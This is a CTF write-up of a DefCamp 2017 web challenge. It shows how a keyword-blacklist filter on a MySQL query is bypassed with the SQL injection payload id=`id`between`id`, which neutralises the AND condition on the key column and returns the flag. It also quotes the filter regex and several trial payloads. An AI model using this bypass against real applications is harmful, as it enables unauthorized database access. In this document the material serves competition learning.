Rating:
# ▼▼▼Are you brave enough? (Web - 70 pcts.)▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
You have a simple challenge, proove your web skills and get the flag. Website
https://brave.dctf-quals-17.def.camp/
-----
`GET /index.php~`
↓
```
real_escape_string(@$_GET['key']);
if(preg_match('/\s|[\(\)\'"\/\\=&\|1-9]|#|\/\*|into|file|case|group|order|having|limit|and|or|not|null|union|select|from|where|--/i', $id))
die('Attack Detected. Try harder: '. $_SERVER['REMOTE_ADDR']); // attack detected
$query = "SELECT `id`,`name`,`key` FROM `users` WHERE `id` = $id AND `key` = '".$key."'";
$q = $db->query($query);
if($q->num_rows) {
echo '<h3>Users:</h3>
echo '
-----
`$db = mysqli_connect('localhost','web_brave','','web_brave');`
↓
mysql
-----
I can use character.
↓
```
!$%*+,-.:;<>?@[\]^_{}~`
A-Z
a-z
0
```
-----
`GET /index.php?id=!0;`
↓
id=1を検索している。
↓
<h3>Nop.</h3>
-----
`GET /index.php?id=!0%2b!0;`
↓
id=2を検索している。
↓
<h3>Nop.</h3>
-----
`GET /index.php?id=!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0%2b!0;`
↓
ずっとやるがひっかからない。。。
↓
<h3>Nop.</h3>
-----
```
select * from users where `id`= id;
```
↓
これで全てのデータがひかっかるはずなのにひっかからない。
↓
複文がうまくいっていないようだ。後ろのANDを使い切ることを考えることにする。
-----
ANDより演算の優先順位が低いもの、かつfilterにひっかからないものを探してみる。
↓
https://dev.mysql.com/doc/refman/5.6/ja/operator-precedence.html
↓
なし
-----
ANDをBETWEENの中で使うことに気付く!
↓
```
SELECT `id`,`name`,`key` FROM `users` WHERE `id` = `id`between`id` AND `key` = '';
```
↓
```
GET /index.php?id=`id`between`id`
```
↓
```
<h3>Users:</h3>
↓
`DCTF{602dcfeedd3aae23f05cf93d121907ec925bd70c50d78ac839ad48c0a93cfc54}`
-----
※参考
```
GET /index.php?id=`key`between`key`
```
など、存在するカラム名であればflagを得られる。